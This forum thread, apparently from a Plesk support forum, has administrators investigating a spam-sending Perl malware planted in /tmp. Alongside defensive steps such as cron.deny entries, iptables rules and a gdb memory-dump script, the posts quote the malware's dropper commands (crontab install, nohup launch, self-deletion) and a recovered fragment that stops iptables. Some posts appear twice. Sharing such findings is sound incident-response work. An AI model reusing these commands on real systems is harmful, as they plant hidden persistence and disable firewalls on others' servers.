Spam from hole in Plesk?

[jukar]

Actually, i have the exact same issue with the exact same file "/tmp/sess_f652da7dd28dce7baeeae54a46ae4099". The difference here is that i have plesk 9, and do not run nginx, but i do run qmail. And i also have ASL installed, but that does not seem to stop this from happening. Incidents regarding this exact file have been logged since April 23rd.

I tried to identify and retrieve the deleted file, but it completely vanished. I also have no idea through which site or hole they enter.

Hello,
I think this is a SQL injection, but where from? I see this file is the same file affected my server, now and the last time, so I've created an empty file with the smae name in /tmp/ with no permisions (000), and wrpped sendmail to sendme the messages sent via script.
I know this is not the very last solution, but I prefer look for the hole.

Regards

 

[Sempiterna]

If you google for the filename (thats how i found this topic), you will a few results back. Several of those results are direct links to links (that now no longer exist) that contain that filename as part of the uri string (as a variable for GET). I performed a grep for the sess_f652da7dd28dce7baeeae54a46ae4099 filename in all my /var/www/vhosts/*/statistics/logs directories, but nothing turned up. So maybe that issue is not the same. You could probably do a similar grep.

The cronjobs can now however no longer be set on my system, since i added apache to the /etc/cron.deny file. I should have done that before. However, i think that does not mean the hole is plugged.

 

[JuanCar]

Hello
I google for the file name and i've found two sites related this file, well two hacked sites. In one of them the hacker sign "Mizos Hacker!!!" and the second "locus7Shell". you can see their "works" if search these names in google. They enter in sites with all permisions. Dangerous indeed.

The file is a file 228 B, its all I could see.

Well, and after grep my site I've found the cron log whith the time the apache cron was launched.

And a good idea use /etc/cron.deny


But it is necessary find the hole used to load script into /tmp/

Regards

 

[JuanCar]

Well: I catched the spam script

I've a file named sess_f652da7dd28dce7baeeae54a46ae4092 in my tmp, and its a Perl script. I need to study it

I see in my cron log a message about a failed cron by apache (I have Apache in cron.deny) , with the same time this file was created

I've look in the whole logs files of my server, but I can't see any suspect php process at this time (from about 6 minutes before)

How can I see the way that script arrived to my /tmp/ folder?

I don't have /tmp/ in any openbasedir of my system. Which way used the hacker to send the file to my server?

Regards

 

[koandy1983]

Hello,
I have the exact situation.
In /tmp I have manage to catch sess_f652da7dd28dce7baeeae54a46ae4092 and sess_f652da7dd28dce7baeeae54a46ae4099.
sess_f652da7dd28dce7baeeae54a46ae4092 it's a perl script that is sending spam from my server and sess_f652da7dd28dce7baeeae54a46ae4099 have this commands:

cat /tmp/crontab | /usr/bin/crontab
nohup perl /tmp/sess_f652da7dd28dce7baeeae54a46ae4092&
sleep 3
rm -f /tmp/sess_f652da7dd28dce7baeeae54a46ae4092 nohup.out
rm -f /tmp/crontab
rm -f /tmp/sess_f652da7dd28dce7baeeae54a46ae4099

My server it's not based on plesk panel. It's a simple linux server with apache, php and mysql containing a few websites.
As others, I cannot find anything helpful in logs.

I've put the httpd user in cron.deny so the script will not run anymore, but it's not a solution.
We need to find the security hole.

I have replaced wget with a script that email me httpd user access it, and what I can tell is that the script kiddie is getting that perl script by wget.
But in logs I can get anything.

Thanks!

 

[koandy1983]

Hello,
I have the exact situation.
In /tmp I have manage to catch sess_f652da7dd28dce7baeeae54a46ae4092 and sess_f652da7dd28dce7baeeae54a46ae4099.
sess_f652da7dd28dce7baeeae54a46ae4092 it's a perl script that is sending spam from my server and sess_f652da7dd28dce7baeeae54a46ae4099 have this commands:

cat /tmp/crontab | /usr/bin/crontab
nohup perl /tmp/sess_f652da7dd28dce7baeeae54a46ae4092&
sleep 3
rm -f /tmp/sess_f652da7dd28dce7baeeae54a46ae4092 nohup.out
rm -f /tmp/crontab
rm -f /tmp/sess_f652da7dd28dce7baeeae54a46ae4099

My server it's not based on plesk panel. It's a simple linux server with apache, php and mysql containing a few websites.
As others, I cannot find anything helpful in logs.

I've put the httpd user in cron.deny so the script will not run anymore, but it's not a solution.
We need to find the security hole.

I have replaced wget with a script that email me httpd user access it, and what I can tell is that the script kiddie is getting that perl script by wget.
But in logs I can get anything.

Thanks!

 

[GerdSchrewe]

I had an attack on 20th September 2013.
15000 Spam Mails in Mail Queue.
Ubuntu 12.04 Plesk 11.09 with latest Microupdates and strong Passwords for all users and SSH2 Login for root.
Strato (Germany) V-Server.
Had to restore the Server with backup from the day before, so all logs of the break in are gone....
Got blacklisted for weeks.
Rootkit Hunter cannot find anything...
Still wondering how they got in...

 

[Sempiterna]

@koandy1983, i identified the same files, as well as an empty file with the name "crontab". It seems that as soon as you disable crontabs for user "apache", the person/bot who placed the files is unable to remove them, since the files were always removed before. I too wonder how they add these files.

 

[JuanCar]

It looks like sesión hijack, but it uses always the about the same name for sesión file sin /tmp/

Now, I changed the sesssion.save_path in php.ini, every subdomains has its own tmp so I hope find the way it uses to enter the server.

Regards

 

[Sempiterna]

It cannot be a session hijack (on my end at least) because my session handler is memcached. So far i have not been able to match the creation of those files to httpd log entries, so this is starting to look very strange.

 

[HoracioS]

Parallels Plesk Panel 11.5.30 Update #21 fix this critical problem. The hole was in Roundcube !

- A vulnerability in RoundCube was removed. (CVE-2013-6172). http://roundcube.net/news/2013/10/21/security-updates-095-and-087/

Description:
It is possible to overwrite any variable in $_SESSION. This gives an attacker a lot of possibilities.
It was discovered that roundcube, a skinnable AJAX based webmail solution for IMAP servers, does not properly sanitize the _session parameter in steps/utils/save_pref.inc during saving preferences. The vulnerability can be exploited to overwrite configuration settings and subsequently allowing random file access, manipulated SQL queries and even code execution.

Best regards,
Horacio

Hi!

I can see in server running Centos 6 Plesk 11.5.30 MU#14 a lot of spam generated by [email protected]

I was implemented the script suggested by this article to detect the the site are sending the spam: http://kb.parallels.com/article_22_1711_en.html

The problem is I can´t detect the spam source, the texts in /var/tmp/mail.send says nothing about the complete path. Please help!


X-Additional-Header: /var/www
From: =?UTF-8?B?RnJlc2ggVmVnYXM=?= <[email protected]>
To: "loyer mathieu" <[email protected]>
Subject: =?UTF-8?B?SGVsbG8gbG95ZXIgbWF0aGlldS4gR29sZGVuIFRpZ2VyIC0gQ0EkMTUwMCBGUkVFICsgMSBIb3VyIEZyZWUgUGxheSE=?=
Content-Type: multipart/mixed; boundary="PHP-mixed-b309435230a259485b67eaac5cda8c9a"

--PHP-mixed-b309435230a259485b67eaac5cda8c9a
Content-Type: multipart/alternative; boundary="PHP-alt-b309435230a259485b67eaac5cda8c9a"

--PHP-alt-b309435230a259485b67eaac5cda8c9a
Content-Type: text/plain; charset="utf-8""
Content-Transfer-Encoding: 7bit

http://thoxywrrzb.fresh-vegas.org

--PHP-alt-b309435230a259485b67eaac5cda8c9a
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: 7bit

 

[JuanCar]

Well, but I don't have RoundCube installed, I have Horde so the hole is not only in RoundCube.
And now I have another spam problem, worse than this one. Perhaps related with it or not, dont know.

From my server is being sent spam mails but there no logs about them, no one log, nothing of nothing.
I examined the header of one of these messages and I see

Received: from mydomain.com ([91.142.213.159]) by BAY0-MC3-F26.Bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4900);
Fri, 1 Nov 2013 08:19:15 -0700
Return-path: <[email protected]>
Received: from rosaliahunge by rackxt.mydomain.com with local (Exim 4.51)
id bqPb3P-sTg3fU-rU
for [email protected]; Sat, 02 Nov 2013 01:15:19 +0100
To: "erasrego" <[email protected]>
Subject: I don't pay attention if you're single or not, handsome or not!
Message-Id: <[email protected]>
From: "Florinda Bigod" <[email protected]>
Date: Sat, 02 Nov 2013 01:15:19 +0100
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-OriginalArrivalTime: 01 Nov 2013 15:19:15.0797 (UTC) FILETIME=[BA2AB850:01CED715]
X-Spam-Prev-Subject: I don't pay attention if you're single or not, handsome or not!


It says from my IP and from a subdomain rackxt.mydomain.com that doesnot exist wioth Exim 4.51, but I'm using Qmail not Exim.
I tried telnet and several online tester to check if my server is open relay and it isn't.

And I can't find any track about the cause and solution.
By now I stoped smtp service in plesk.

Regards

 

[Hossie]

We have a very similar issue.
OS: CentOS release 5.8 (Final), plesk psa-9.5.2-cos5.build95100504.10
Running litespeed, qmail, php, multiple vhosts (some have wordpress but we are not sure if this is the exploit path).
The server was bogged down with the email spam blast. I stopped qmail so the server could do useful work.
I did: http://kb.parallels.com/en/1711
But added one line: printenv >> /var/tmp/mail.send
Result:
best regards
SHELL=/bin/sh
USER=apache
PATH=/usr/bin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/printenv
PWD=/var/www
SHLVL=3
HOME=/var/www
LOGNAME=apache
X-Additional-Header: /var/www
From: root@localhost
To: [email protected]
Subject: Test mail 1924820051
Bla-bla-bla

From here I ran:
$ lsof /var/www
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 10311 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10701 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10702 root cwd DIR 8,5 4096 21561622 /var/www
crond 29037 apache cwd DIR 8,5 4096 21561622 /var/www
perl 29050 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29078 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29080 apache cwd DIR 8,5 4096 21561622 /var/www
cat 29081 apache cwd DIR 8,5 4096 21561622 /var/www
tee 29082 apache cwd DIR 8,5 4096 21561622 /var/www

The ‘crond’ and ‘perl’ (and below) do not exist on disk. They are memory mapped files.
Via http://serverfault.com/questions/173999/dump-a-linux-processs-memory-to-file I wrote a test.sh script:
#!/bin/bash
grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop;
do gdb --batch --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done

I then ran this ‘test.sh’ script like so ./test.sh 29xxx where 29xxx is the pid from lsof command above.
This dumped ~20files of mapped memory. I looked around and found some pearl script but to be honest I don’t know how to interpret this mess. The highlights include:
1) /tmp/sess_f652da7dd28dce7baeeae54a46ae4092
2) wget -q -O - -t 1 -T 60 --no-check-certificate "https://accounts.google.com/ServiceLogin?service=mail" | grep -ci '<html'
3) lsif ($ki8n =~ /^START SENDMAIL$/)
{ `service sendmail start`
; next; }
elsif
($ki8n =~ /^STOP IPTABLES$/)
{ `service iptables stop`;next;}

I still have these dump files ~5MB if anyone knows a useful place to send them for analysis?
At this point I decided to kill those PIDs:
$ lsof /var/www
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 10311 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10701 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10702 root cwd DIR 8,5 4096 21561622 /var/www
crond 29037 apache cwd DIR 8,5 4096 21561622 /var/www
perl 29050 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29078 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29080 apache cwd DIR 8,5 4096 21561622 /var/www
cat 29081 apache cwd DIR 8,5 4096 21561622 /var/www
tee 29082 apache cwd DIR 8,5 4096 21561622 /var/www
$ kill -9 29037
$ kill -9 29050
$ lsof /var/www
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 10311 root cwd DIR 8,5 4096 21561622 /var/www
lsof 13040 root cwd DIR 8,5 4096 21561622 /var/www
lsof 13041 root cwd DIR 8,5 4096 21561622 /var/www

As of this writing I have no signs of the email spam issue but the server cannot be trusted for production and will be decommissioned shortly. Any thoughts?

 

[Hossie]

We have a very similar issue.
OS: CentOS release 5.8 (Final), plesk psa-9.5.2-cos5.build95100504.10
Running litespeed, qmail, php, multiple vhosts (some have wordpress but we are not sure if this is the exploit path).
The server was bogged down with the email spam blast. I stopped qmail so the server could do useful work.
I did: http://kb.parallels.com/en/1711
But added one line: printenv >> /var/tmp/mail.send
Result:
best regards
SHELL=/bin/sh
USER=apache
PATH=/usr/bin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/printenv
PWD=/var/www
SHLVL=3
HOME=/var/www
LOGNAME=apache
X-Additional-Header: /var/www
From: root@localhost
To: [email protected]
Subject: Test mail 1924820051
Bla-bla-bla

From here I ran:
$ lsof /var/www
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 10311 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10701 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10702 root cwd DIR 8,5 4096 21561622 /var/www
crond 29037 apache cwd DIR 8,5 4096 21561622 /var/www
perl 29050 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29078 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29080 apache cwd DIR 8,5 4096 21561622 /var/www
cat 29081 apache cwd DIR 8,5 4096 21561622 /var/www
tee 29082 apache cwd DIR 8,5 4096 21561622 /var/www

The ‘crond’ and ‘perl’ (and below) do not exist on disk. They are memory mapped files.
Via http://serverfault.com/questions/173999/dump-a-linux-processs-memory-to-file I wrote a test.sh script:
#!/bin/bash
grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop;
do gdb --batch --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done

I then ran this ‘test.sh’ script like so ./test.sh 29xxx where 29xxx is the pid from lsof command above.
This dumped ~20files of mapped memory. I looked around and found some pearl script but to be honest I don’t know how to interpret this mess. The highlights include:
1) /tmp/sess_f652da7dd28dce7baeeae54a46ae4092
2) wget -q -O - -t 1 -T 60 --no-check-certificate "https://accounts.google.com/ServiceLogin?service=mail" | grep -ci '<html'
3) lsif ($ki8n =~ /^START SENDMAIL$/)
{ `service sendmail start`
; next; }
elsif
($ki8n =~ /^STOP IPTABLES$/)
{ `service iptables stop`;next;}

I still have these dump files ~5MB if anyone knows a useful place to send them for analysis?
At this point I decided to kill those PIDs:
$ lsof /var/www
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 10311 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10701 root cwd DIR 8,5 4096 21561622 /var/www
lsof 10702 root cwd DIR 8,5 4096 21561622 /var/www
crond 29037 apache cwd DIR 8,5 4096 21561622 /var/www
perl 29050 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29078 apache cwd DIR 8,5 4096 21561622 /var/www
sendmail 29080 apache cwd DIR 8,5 4096 21561622 /var/www
cat 29081 apache cwd DIR 8,5 4096 21561622 /var/www
tee 29082 apache cwd DIR 8,5 4096 21561622 /var/www
$ kill -9 29037
$ kill -9 29050
$ lsof /var/www
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 10311 root cwd DIR 8,5 4096 21561622 /var/www
lsof 13040 root cwd DIR 8,5 4096 21561622 /var/www
lsof 13041 root cwd DIR 8,5 4096 21561622 /var/www

As of this writing I have no signs of the email spam issue but the server cannot be trusted for production and will be decommissioned shortly. Any thoughts?

 

[JuanCar]

Hello

Very interesting
My solution was

Wrap sendmail (I receive all mails sent by sendmail)
Set an individual and different sesion path for every domain subdomain
Create a cron to erase session files in all sesion folder every 30 min
Pass malware detect (maldet) to all the server
Set a cron for malware detect scaning var/www/*
Set apache in cron.deny
Set php fastcgi in alll domains and subdomains that use php
Set users of fastcgi in cron.deny

Now I have no more spam from apache.

And I've added per_source = 10 as I've seen in this post

Now I'm setting IPtables to filter qmail

/sbin/iptables -A OUTPUT -d 127.0.0.1 -p tcp -m tcp --dport 25 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 25 -m owner --gid-owner qmail -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 25 -m owner --gid-owner mailman -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 25 -m owner --uid-owner root -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 25 -j REJECT --reject-with icmp-port-unreachable

I've seen it in several sites by net and in a a pair of post from this forum


Regards

 

[Hossie]

JuanCar – This ‘virus’ uses the system call to send mail. This means that all emails the ‘virus’ sends are passed to Qmail. It does NOT try to open a port/socket and act as its own MTA. Thus the only useful thing you can do with Iptables is to completely block outbound dport 25. Your example allows qmail to send mail thus the virus will still send mail. Also per # 3 of my highlights of reading through the memory dump – the script can/does (if it has permission) stop Iptables.

 

[omidkosari]

Why everybody just talk about Linux solutions ? What about Windows Plesk with MailEnable and same problem ?
Any workaround . removing 127.0.0.1 from relay is not good idea because webmail will have serious problems ?

 

[eugenevdm]

...As of this writing I have no signs of the email spam issue but the server cannot be trusted for production and will be decommissioned shortly. Any thoughts?

You analysis corresponds extremely close to my analysis. The big clue is [email protected]. What is missing from your analysis is examing the CRON log, found on my CentOS 6.4 64-bit in /var/log/cron.

In my case I was lucky to find the culprit quickly because I have SNMP monitoring on Postfix deferred. When I received the alarm I was able to correspond the time of attack with an entry in the cron log file. The time on the task in memory corresponding exactly the the time in the CRON log file:

Oct 9 [b]04:14:32[/b] web5 /usr/bin/crontab[10942]: (apache) LIST (apache)
Oct 9 04:14:33 web5 /usr/bin/crontab[10944]: (apache) REPLACE (apache)
Oct 9 04:15:01 web5 CROND[10948]: (apache) CMD (sh /tmp/sess_f652da7dd28dce7baeeae54a46ae4099)
Oct 9 04:15:01 web5 /usr/bin/crontab[10950]: (apache) REPLACE (apache)
Oct 9 04:16:01 web5 crond[1975]: (apache) RELOAD (/var/spool/cron/apache)

For this reason I concluded that this exploit possibly starts of my manipulating CRON, specifically the 'apache' CRON user. The interesting thing about removing the process from memory is that the attacker never came back, it's been almost a month. I also logged a ticket with Plesk and their initial analysis was that there might be a content management system that is exploited. I don't yet know if I agree with that. Either way, we have 10s of CMSses running so how would we exactly know which one go exploited?

 

[JuanCar]

JuanCar – This ‘virus’ uses the system call to send mail. This means that all emails the ‘virus’ sends are passed to Qmail. It does NOT try to open a port/socket and act as its own MTA. Thus the only useful thing you can do with Iptables is to completely block outbound dport 25. Your example allows qmail to send mail thus the virus will still send mail. Also per # 3 of my highlights of reading through the memory dump – the script can/does (if it has permission) stop Iptables.

Of course, a virus can do so, but in my server at least when I blocked sendmail the spam stopped, and when I opened sendmail spam began again. So I concluded that this bot was using sendmail service.

And if a bot uses direct call to system mail, then these mails must appears in log files, must they? Although if it can stop iptables it can also alter logs

The code I have found on my sess_f.... does not have any maillog Access, it has a sentence to stop iptables (but not to start it) and sentences to send mail via sendmail program.

Since I cancel apache crond the spam has ceased, so I can not make any useful memory dump. I reinit the server so I suppose any memory process was down and if the virus was not in a file I think it is "dead".

Regards

 

[Hossie]

The code I have found on my sess_f.... does not have any maillog Access, it has a sentence to stop iptables (but not to start it) and sentences to send mail via sendmail program.
Regards

Can you paste that code? my /tmp/sess_ was deleted (by the virus?).